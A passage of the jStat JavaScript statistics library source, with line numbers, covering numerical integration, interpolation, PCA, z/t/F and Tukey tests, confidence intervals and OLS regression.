h); 4035 | h /= 2; 4036 | i++; 4037 | } 4038 | a = g.length; 4039 | m = 1; 4040 | while (a != 1) { 4041 | for (j = 0; j < a - 1; j++) 4042 | h1[j] = ((Math.pow(4, m)) * g[j + 1] - g[j]) / (Math.pow(4, m) - 1); 4043 | a = h1.length; 4044 | g = h1; 4045 | h1 = []; 4046 | m++; 4047 | } 4048 | return g; 4049 | }, 4050 | 4051 | simpson: function simpson(f, a, b, n) { 4052 | var h = (b - a) / n; 4053 | var I = f(a); 4054 | var x = []; 4055 | var j = a; 4056 | var k = 0; 4057 | var i = 1; 4058 | var m; 4059 | for (; j <= b; j = j + h, k++) 4060 | x[k] = j; 4061 | m = x.length; 4062 | for (; i < m - 1; i++) { 4063 | I += ((i % 2 !== 0) ? 4 : 2) * f(x[i]); 4064 | } 4065 | return (h / 3) * (I + f(b)); 4066 | }, 4067 | 4068 | hermite: function hermite(X, F, dF, value) { 4069 | var n = X.length; 4070 | var p = 0; 4071 | var i = 0; 4072 | var l = []; 4073 | var dl = []; 4074 | var A = []; 4075 | var B = []; 4076 | var j; 4077 | for (; i < n; i++) { 4078 | l[i] = 1; 4079 | for (j = 0; j < n; j++) { 4080 | if (i != j) l[i] *= (value - X[j]) / (X[i] - X[j]); 4081 | } 4082 | dl[i] = 0; 4083 | for (j = 0; j < n; j++) { 4084 | if (i != j) dl[i] += 1 / (X [i] - X[j]); 4085 | } 4086 | A[i] = (1 - 2 * (value - X[i]) * dl[i]) * (l[i] * l[i]); 4087 | B[i] = (value - X[i]) * (l[i] * l[i]); 4088 | p += (A[i] * F[i] + B[i] * dF[i]); 4089 | } 4090 | return p; 4091 | }, 4092 | 4093 | lagrange: function lagrange(X, F, value) { 4094 | var p = 0; 4095 | var i = 0; 4096 | var j, l; 4097 | var n = X.length; 4098 | for (; i < n; i++) { 4099 | l = F[i]; 4100 | for (j = 0; j < n; j++) { 4101 | // calculating the lagrange polynomial L_i 4102 | if (i != j) l *= (value - X[j]) / (X[i] - X[j]); 4103 | } 4104 | // adding the lagrange polynomials found above 4105 | p += l; 4106 | } 4107 | return p; 4108 | }, 4109 | 4110 | cubic_spline: function cubic_spline(X, F, value) { 4111 | var n = X.length; 4112 | var i = 0, j; 4113 | var A = []; 4114 | var B = []; 4115 | var alpha = []; 4116 | var c = []; 4117 | var h = []; 4118 | var b = []; 4119 | var d = []; 4120 | for (; i < n - 1; i++) 4121 | h[i] = X[i + 1] - X[i]; 4122 | alpha[0] = 0; 4123 | for (var i = 1; i < n - 1; i++) { 4124 | alpha[i] = (3 / h[i]) * (F[i + 1] - F[i]) - 4125 | (3 / h[i-1]) * (F[i] - F[i-1]); 4126 | } 4127 | for (var i = 1; i < n - 1; i++) { 4128 | A[i] = []; 4129 | B[i] = []; 4130 | A[i][i-1] = h[i-1]; 4131 | A[i][i] = 2 * (h[i - 1] + h[i]); 4132 | A[i][i+1] = h[i]; 4133 | B[i][0] = alpha[i]; 4134 | } 4135 | c = jStat.multiply(jStat.inv(A), B); 4136 | for (j = 0; j < n - 1; j++) { 4137 | b[j] = (F[j + 1] - F[j]) / h[j] - h[j] * (c[j + 1][0] + 2 * c[j][0]) / 3; 4138 | d[j] = (c[j + 1][0] - c[j][0]) / (3 * h[j]); 4139 | } 4140 | for (j = 0; j < n; j++) { 4141 | if (X[j] > value) break; 4142 | } 4143 | j -= 1; 4144 | return F[j] + (value - X[j]) * b[j] + jStat.sq(value-X[j]) * 4145 | c[j] + (value - X[j]) * jStat.sq(value - X[j]) * d[j]; 4146 | }, 4147 | 4148 | gauss_quadrature: function gauss_quadrature() { 4149 | throw new Error('gauss_quadrature not yet implemented'); 4150 | }, 4151 | 4152 | PCA: function PCA(X) { 4153 | var m = X.length; 4154 | var n = X[0].length; 4155 | var flag = false; 4156 | var i = 0; 4157 | var j, temp1; 4158 | var u = []; 4159 | var D = []; 4160 | var result = []; 4161 | var temp2 = []; 4162 | var Y = []; 4163 | var Bt = []; 4164 | var B = []; 4165 | var C = []; 4166 | var V = []; 4167 | var Vt = []; 4168 | for (var i = 0; i < m; i++) { 4169 | u[i] = jStat.sum(X[i]) / n; 4170 | } 4171 | for (var i = 0; i < n; i++) { 4172 | B[i] = []; 4173 | for(j = 0; j < m; j++) { 4174 | B[i][j] = X[j][i] - u[j]; 4175 | } 4176 | } 4177 | B = jStat.transpose(B); 4178 | for (var i = 0; i < m; i++) { 4179 | C[i] = []; 4180 | for (j = 0; j < m; j++) { 4181 | C[i][j] = (jStat.dot([B[i]], [B[j]])) / (n - 1); 4182 | } 4183 | } 4184 | result = jStat.jacobi(C); 4185 | V = result[0]; 4186 | D = result[1]; 4187 | Vt = jStat.transpose(V); 4188 | for (var i = 0; i < D.length; i++) { 4189 | for (j = i; j < D.length; j++) { 4190 | if(D[i] < D[j]) { 4191 | temp1 = D[i]; 4192 | D[i] = D[j]; 4193 | D[j] = temp1; 4194 | temp2 = Vt[i]; 4195 | Vt[i] = Vt[j]; 4196 | Vt[j] = temp2; 4197 | } 4198 | } 4199 | } 4200 | Bt = jStat.transpose(B); 4201 | for (var i = 0; i < m; i++) { 4202 | Y[i] = []; 4203 | for (j = 0; j < Bt.length; j++) { 4204 | Y[i][j] = jStat.dot([Vt[i]], [Bt[j]]); 4205 | } 4206 | } 4207 | return [X, D, Vt, Y]; 4208 | } 4209 | }); 4210 | 4211 | // extend jStat.fn with methods that require one argument 4212 | (function(funcs) { 4213 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 4214 | jStat.fn[passfunc] = function(arg, func) { 4215 | var tmpthis = this; 4216 | // check for callback 4217 | if (func) { 4218 | setTimeout(function() { 4219 | func.call(tmpthis, jStat.fn[passfunc].call(tmpthis, arg)); 4220 | }, 15); 4221 | return this; 4222 | } 4223 | if (typeof jStat[passfunc](this, arg) === 'number') 4224 | return jStat[passfunc](this, arg); 4225 | else 4226 | return jStat(jStat[passfunc](this, arg)); 4227 | }; 4228 | }(funcs[i])); 4229 | }('add divide multiply subtract dot pow exp log abs norm angle'.split(' '))); 4230 | 4231 | }(jStat, Math)); 4232 | (function(jStat, Math) { 4233 | 4234 | var slice = [].slice; 4235 | var isNumber = jStat.utils.isNumber; 4236 | var isArray = jStat.utils.isArray; 4237 | 4238 | // flag==true denotes use of sample standard deviation 4239 | // Z Statistics 4240 | jStat.extend({ 4241 | // 2 different parameter lists: 4242 | // (value, mean, sd) 4243 | // (value, array, flag) 4244 | zscore: function zscore() { 4245 | var args = slice.call(arguments); 4246 | if (isNumber(args[1])) { 4247 | return (args[0] - args[1]) / args[2]; 4248 | } 4249 | return (args[0] - jStat.mean(args[1])) / jStat.stdev(args[1], args[2]); 4250 | }, 4251 | 4252 | // 3 different paramter lists: 4253 | // (value, mean, sd, sides) 4254 | // (zscore, sides) 4255 | // (value, array, sides, flag) 4256 | ztest: function ztest() { 4257 | var args = slice.call(arguments); 4258 | var z; 4259 | if (isArray(args[1])) { 4260 | // (value, array, sides, flag) 4261 | z = jStat.zscore(args[0],args[1],args[3]); 4262 | return (args[2] === 1) ? 4263 | (jStat.normal.cdf(-Math.abs(z), 0, 1)) : 4264 | (jStat.normal.cdf(-Math.abs(z), 0, 1)*2); 4265 | } else { 4266 | if (args.length > 2) { 4267 | // (value, mean, sd, sides) 4268 | z = jStat.zscore(args[0],args[1],args[2]); 4269 | return (args[3] === 1) ? 4270 | (jStat.normal.cdf(-Math.abs(z),0,1)) : 4271 | (jStat.normal.cdf(-Math.abs(z),0,1)* 2); 4272 | } else { 4273 | // (zscore, sides) 4274 | z = args[0]; 4275 | return (args[1] === 1) ? 4276 | (jStat.normal.cdf(-Math.abs(z),0,1)) : 4277 | (jStat.normal.cdf(-Math.abs(z),0,1)*2); 4278 | } 4279 | } 4280 | } 4281 | }); 4282 | 4283 | jStat.extend(jStat.fn, { 4284 | zscore: function zscore(value, flag) { 4285 | return (value - this.mean()) / this.stdev(flag); 4286 | }, 4287 | 4288 | ztest: function ztest(value, sides, flag) { 4289 | var zscore = Math.abs(this.zscore(value, flag)); 4290 | return (sides === 1) ? 4291 | (jStat.normal.cdf(-zscore, 0, 1)) : 4292 | (jStat.normal.cdf(-zscore, 0, 1) * 2); 4293 | } 4294 | }); 4295 | 4296 | // T Statistics 4297 | jStat.extend({ 4298 | // 2 parameter lists 4299 | // (value, mean, sd, n) 4300 | // (value, array) 4301 | tscore: function tscore() { 4302 | var args = slice.call(arguments); 4303 | return (args.length === 4) ? 4304 | ((args[0] - args[1]) / (args[2] / Math.sqrt(args[3]))) : 4305 | ((args[0] - jStat.mean(args[1])) / 4306 | (jStat.stdev(args[1], true) / Math.sqrt(args[1].length))); 4307 | }, 4308 | 4309 | // 3 different paramter lists: 4310 | // (value, mean, sd, n, sides) 4311 | // (tscore, n, sides) 4312 | // (value, array, sides) 4313 | ttest: function ttest() { 4314 | var args = slice.call(arguments); 4315 | var tscore; 4316 | if (args.length === 5) { 4317 | tscore = Math.abs(jStat.tscore(args[0], args[1], args[2], args[3])); 4318 | return (args[4] === 1) ? 4319 | (jStat.studentt.cdf(-tscore, args[3]-1)) : 4320 | (jStat.studentt.cdf(-tscore, args[3]-1)*2); 4321 | } 4322 | if (isNumber(args[1])) { 4323 | tscore = Math.abs(args[0]) 4324 | return (args[2] == 1) ? 4325 | (jStat.studentt.cdf(-tscore, args[1]-1)) : 4326 | (jStat.studentt.cdf(-tscore, args[1]-1) * 2); 4327 | } 4328 | tscore = Math.abs(jStat.tscore(args[0], args[1])) 4329 | return (args[2] == 1) ? 4330 | (jStat.studentt.cdf(-tscore, args[1].length-1)) : 4331 | (jStat.studentt.cdf(-tscore, args[1].length-1) * 2); 4332 | } 4333 | }); 4334 | 4335 | jStat.extend(jStat.fn, { 4336 | tscore: function tscore(value) { 4337 | return (value - this.mean()) / (this.stdev(true) / Math.sqrt(this.cols())); 4338 | }, 4339 | 4340 | ttest: function ttest(value, sides) { 4341 | return (sides === 1) ? 4342 | (1 - jStat.studentt.cdf(Math.abs(this.tscore(value)), this.cols()-1)) : 4343 | (jStat.studentt.cdf(-Math.abs(this.tscore(value)), this.cols()-1)*2); 4344 | } 4345 | }); 4346 | 4347 | // F Statistics 4348 | jStat.extend({ 4349 | // Paramter list is as follows: 4350 | // (array1, array2, array3, ...) 4351 | // or it is an array of arrays 4352 | // array of arrays conversion 4353 | anovafscore: function anovafscore() { 4354 | var args = slice.call(arguments), 4355 | expVar, sample, sampMean, sampSampMean, tmpargs, unexpVar, i, j; 4356 | if (args.length === 1) { 4357 | tmpargs = new Array(args[0].length); 4358 | for (var i = 0; i < args[0].length; i++) { 4359 | tmpargs[i] = args[0][i]; 4360 | } 4361 | args = tmpargs; 4362 | } 4363 | // 2 sample case 4364 | if (args.length === 2) { 4365 | return jStat.variance(args[0]) / jStat.variance(args[1]); 4366 | } 4367 | // Builds sample array 4368 | sample = new Array(); 4369 | for (var i = 0; i < args.length; i++) { 4370 | sample = sample.concat(args[i]); 4371 | } 4372 | sampMean = jStat.mean(sample); 4373 | // Computes the explained variance 4374 | expVar = 0; 4375 | for (var i = 0; i < args.length; i++) { 4376 | expVar = expVar + args[i].length * Math.pow(jStat.mean(args[i]) - sampMean, 2); 4377 | } 4378 | expVar /= (args.length - 1); 4379 | // Computes unexplained variance 4380 | unexpVar = 0; 4381 | for (var i = 0; i < args.length; i++) { 4382 | sampSampMean = jStat.mean(args[i]); 4383 | for (j = 0; j < args[i].length; j++) { 4384 | unexpVar += Math.pow(args[i][j] - sampSampMean, 2); 4385 | } 4386 | } 4387 | unexpVar /= (sample.length - args.length); 4388 | return expVar / unexpVar; 4389 | }, 4390 | 4391 | // 2 different paramter setups 4392 | // (array1, array2, array3, ...) 4393 | // (anovafscore, df1, df2) 4394 | anovaftest: function anovaftest() { 4395 | var args = slice.call(arguments), 4396 | df1, df2, n, i; 4397 | if (isNumber(args[0])) { 4398 | return 1 - jStat.centralF.cdf(args[0], args[1], args[2]); 4399 | } 4400 | anovafscore = jStat.anovafscore(args); 4401 | df1 = args.length - 1; 4402 | n = 0; 4403 | for (var i = 0; i < args.length; i++) { 4404 | n = n + args[i].length; 4405 | } 4406 | df2 = n - df1 - 1; 4407 | return 1 - jStat.centralF.cdf(anovafscore, df1, df2); 4408 | }, 4409 | 4410 | ftest: function ftest(fscore, df1, df2) { 4411 | return 1 - jStat.centralF.cdf(fscore, df1, df2); 4412 | } 4413 | }); 4414 | 4415 | jStat.extend(jStat.fn, { 4416 | anovafscore: function anovafscore() { 4417 | return jStat.anovafscore(this.toArray()); 4418 | }, 4419 | 4420 | anovaftes: function anovaftes() { 4421 | var n = 0; 4422 | var i; 4423 | for (var i = 0; i < this.length; i++) { 4424 | n = n + this[i].length; 4425 | } 4426 | return jStat.ftest(this.anovafscore(), this.length - 1, n - this.length); 4427 | } 4428 | }); 4429 | 4430 | // Tukey's range test 4431 | jStat.extend({ 4432 | // 2 parameter lists 4433 | // (mean1, mean2, n1, n2, sd) 4434 | // (array1, array2, sd) 4435 | qscore: function qscore() { 4436 | var args = slice.call(arguments); 4437 | var mean1, mean2, n1, n2, sd; 4438 | if (isNumber(args[0])) { 4439 | mean1 = args[0]; 4440 | mean2 = args[1]; 4441 | n1 = args[2]; 4442 | n2 = args[3]; 4443 | sd = args[4]; 4444 | } else { 4445 | mean1 = jStat.mean(args[0]); 4446 | mean2 = jStat.mean(args[1]); 4447 | n1 = args[0].length; 4448 | n2 = args[1].length; 4449 | sd = args[2]; 4450 | } 4451 | return Math.abs(mean1 - mean2) / (sd * Math.sqrt((1 / n1 + 1 / n2) / 2)); 4452 | }, 4453 | 4454 | // 3 different parameter lists: 4455 | // (qscore, n, k) 4456 | // (mean1, mean2, n1, n2, sd, n, k) 4457 | // (array1, array2, sd, n, k) 4458 | qtest: function qtest() { 4459 | var args = slice.call(arguments); 4460 | 4461 | var qscore; 4462 | if (args.length === 3) { 4463 | qscore = args[0]; 4464 | args = args.slice(1); 4465 | } else if (args.length === 7) { 4466 | qscore = jStat.qscore(args[0], args[1], args[2], args[3], args[4]); 4467 | args = args.slice(5); 4468 | } else { 4469 | qscore = jStat.qscore(args[0], args[1], args[2]); 4470 | args = args.slice(3); 4471 | } 4472 | 4473 | var n = args[0]; 4474 | var k = args[1]; 4475 | 4476 | return 1 - jStat.tukey.cdf(qscore, k, n - k); 4477 | }, 4478 | 4479 | tukeyhsd: function tukeyhsd(arrays) { 4480 | var sd = jStat.pooledstdev(arrays); 4481 | var means = arrays.map(function (arr) {return jStat.mean(arr);}); 4482 | var n = arrays.reduce(function (n, arr) {return n + arr.length;}, 0); 4483 | 4484 | var results = []; 4485 | for (var i = 0; i < arrays.length; ++i) { 4486 | for (var j = i + 1; j < arrays.length; ++j) { 4487 | var p = jStat.qtest(means[i], means[j], arrays[i].length, arrays[j].length, sd, n, arrays.length); 4488 | results.push([[i, j], p]); 4489 | } 4490 | } 4491 | 4492 | return results; 4493 | } 4494 | }); 4495 | 4496 | // Error Bounds 4497 | jStat.extend({ 4498 | // 2 different parameter setups 4499 | // (value, alpha, sd, n) 4500 | // (value, alpha, array) 4501 | normalci: function normalci() { 4502 | var args = slice.call(arguments), 4503 | ans = new Array(2), 4504 | change; 4505 | if (args.length === 4) { 4506 | change = Math.abs(jStat.normal.inv(args[1] / 2, 0, 1) * 4507 | args[2] / Math.sqrt(args[3])); 4508 | } else { 4509 | change = Math.abs(jStat.normal.inv(args[1] / 2, 0, 1) * 4510 | jStat.stdev(args[2]) / Math.sqrt(args[2].length)); 4511 | } 4512 | ans[0] = args[0] - change; 4513 | ans[1] = args[0] + change; 4514 | return ans; 4515 | }, 4516 | 4517 | // 2 different parameter setups 4518 | // (value, alpha, sd, n) 4519 | // (value, alpha, array) 4520 | tci: function tci() { 4521 | var args = slice.call(arguments), 4522 | ans = new Array(2), 4523 | change; 4524 | if (args.length === 4) { 4525 | change = Math.abs(jStat.studentt.inv(args[1] / 2, args[3] - 1) * 4526 | args[2] / Math.sqrt(args[3])); 4527 | } else { 4528 | change = Math.abs(jStat.studentt.inv(args[1] / 2, args[2].length - 1) * 4529 | jStat.stdev(args[2], true) / Math.sqrt(args[2].length)); 4530 | } 4531 | ans[0] = args[0] - change; 4532 | ans[1] = args[0] + change; 4533 | return ans; 4534 | }, 4535 | 4536 | significant: function significant(pvalue, alpha) { 4537 | return pvalue < alpha; 4538 | } 4539 | }); 4540 | 4541 | jStat.extend(jStat.fn, { 4542 | normalci: function normalci(value, alpha) { 4543 | return jStat.normalci(value, alpha, this.toArray()); 4544 | }, 4545 | 4546 | tci: function tci(value, alpha) { 4547 | return jStat.tci(value, alpha, this.toArray()); 4548 | } 4549 | }); 4550 | 4551 | // internal method for calculating the z-score for a difference of proportions test 4552 | function differenceOfProportions(p1, n1, p2, n2) { 4553 | if (p1 > 1 || p2 > 1 || p1 <= 0 || p2 <= 0) { 4554 | throw new Error("Proportions should be greater than 0 and less than 1") 4555 | } 4556 | var pooled = (p1 * n1 + p2 * n2) / (n1 + n2); 4557 | var se = Math.sqrt(pooled * (1 - pooled) * ((1/n1) + (1/n2))); 4558 | return (p1 - p2) / se; 4559 | } 4560 | 4561 | // Difference of Proportions 4562 | jStat.extend(jStat.fn, { 4563 | oneSidedDifferenceOfProportions: function oneSidedDifferenceOfProportions(p1, n1, p2, n2) { 4564 | var z = differenceOfProportions(p1, n1, p2, n2); 4565 | return jStat.ztest(z, 1); 4566 | }, 4567 | 4568 | twoSidedDifferenceOfProportions: function twoSidedDifferenceOfProportions(p1, n1, p2, n2) { 4569 | var z = differenceOfProportions(p1, n1, p2, n2); 4570 | return jStat.ztest(z, 2); 4571 | } 4572 | }); 4573 | 4574 | }(jStat, Math)); 4575 | jStat.models = (function(){ 4576 | 4577 | function sub_regress(endog, exog) { 4578 | return ols(endog, exog); 4579 | } 4580 | 4581 | function sub_regress(exog) { 4582 | var var_count = exog[0].length; 4583 | var modelList = jStat.arange(var_count).map(function(endog_index) { 4584 | var exog_index = 4585 | jStat.arange(var_count).filter(function(i){return i!==endog_index}); 4586 | return ols(jStat.col(exog, endog_index).map(function(x){ return x[0] }), 4587 | jStat.col(exog, exog_index)) 4588 | }); 4589 | return modelList; 4590 | } 4591 | 4592 | // do OLS model regress 4593 | // exog have include const columns ,it will not generate it .In fact, exog is 4594 | // "design matrix" look at 4595 | //https://en.wikipedia.org/wiki/Design_matrix 4596 | function ols(endog, exog) { 4597 | var nobs = endog.length; 4598 | var df_model = exog[0].length - 1; 4599 | var df_resid = nobs-df_model - 1; 4600 | var coef = jStat.lstsq(exog, endog); 4601 | var predict = 4602 | jStat.multiply(exog, coef.map(function(x) { return [x] })) 4603 | .map(function(p) { return p[0] }); 4604 | var resid = jStat.subtract(endog, predict); 4605 | var ybar = jStat.mean(endog); 4606 | // constant cause problem 4607 | // var SST = jStat.sum(endog.map(function(y) { 4608 | // return Math.pow(y-ybar,2); 4609 | // })); 4610 | var SSE = jStat.sum(predict.map(function(f) { 4611 | return Math.pow(f - ybar, 2); 4612 | })); 4613 | var SSR = jStat.sum(endog.map(function(y, i) { 4614 | return Math.pow(y - predict[i], 2); 4615 | })); 4616 | var SST = SSE + SSR; 4617 | var R2 = (SSE / SST); 4618 | return { 4619 | exog:exog, 4620 | endog:endog, 4621 | nobs:nobs, 4622 | df_model:df_model, 4623 | df_resid:df_resid, 4624 | coef:coef, 4625 | predict:predict, 4626 | resid:resid, 4627 | ybar:ybar, 4628 | SST:SST, 4629 | SSE:SSE, 4630 | SSR:SSR, 4631 | R2:R2 4632 | }; 4633 | } 4634 | 4635 | // H0: b_I=0 4636 | // H1: b_I!=0 4637 | function t_test(model) { 4638 | var subModelList = sub_regress(model.exog); 4639 | //var sigmaHat=jStat.stdev(model.resid); 4640 | var sigmaHat = Math.sqrt(model.SSR / (model.df_resid)); 4641 | var seBetaHat = subModelList.map(function(mod) { 4642 | var SST = mod.SST; 4643 | var R2 = mod.R2; 4644 | return sigmaHat / Math.sqrt(SST * (1 - R2)); 4645 | }); 4646 | var tStatistic = model.coef.map(function(coef, i) { 4647 | return (coef - 0) / seBetaHat[i]; 4648 | }); 4649 | var pValue = tStatistic.map(function(t) { 4650 | var leftppf = jStat.studentt.cdf(t, model.df_resid); 4651 | return (leftppf > 0.5 ? 1 - leftppf : leftppf) * 2; 4652 | }); 4653 | var c = jStat.studentt.inv(0.975, model.df_resid); 4654 | var interval95 = model.coef.map(function(coef, i) { 4655 | var d = c * seBetaHat[i]; 4656 | return [coef - d, coef + d]; 4657 | }) 4658 | return { 4659 | se: seBetaHat, 4660 | t: tStatistic, 4661 | p: pValue, 4662 | sigmaHat: sigmaHat, 4663 | interval95: interval95 4664 | }; 4665 | } 4666 | 4667 | function F_test(model) { 4668 | var F_statistic = 4669 | (model.R2 / model.df_model) / ((1 - model.R2) / model.df_resid); 4670 | var fcdf = function(x, n1, n2) { 4671 | return jStat.beta.cdf(x / (n2 / n1 + x), n1 / 2, n2 / 2) 4672 | } 4673 | var pvalue = 1 - fcdf(F_statistic, model.df_model, model.df_resid); 4674 | return { F_statistic: F_statistic, pvalue: pvalue }; 4675 | } 4676 | 4677 | function ols_wrap(endog, exog) { 4678 | var model = ols(endog,exog); 4679 | var ttest = t_test(model); 4680 | var ftest = F_test(model); 4681 | // Provide the Wherry / Ezekiel / McNemar / Cohen Adjusted R^2 4682 | // Which matches the 'adjusted R^2' provided by R's lm package 4683 | var adjust_R2 = 4684 | 1 - (1 - model.R2) * ((model.nobs - 1) / (model.df_resid)); 4685 | model.t = ttest; 4686 | model.f = ftest; 4687 | model.adjust_R2 = adjust_R2; 4688 | return model; 4689 | } 4690 | 4691 | return { ols: ols_wrap }; 4692 | })(); 4693 | // Make it compatible with previous version. 4694 | jStat.jStat = jStat; 4695 | 4696 | return jStat; 4697 | }); 4698 | --------------------------------------------------------------------------------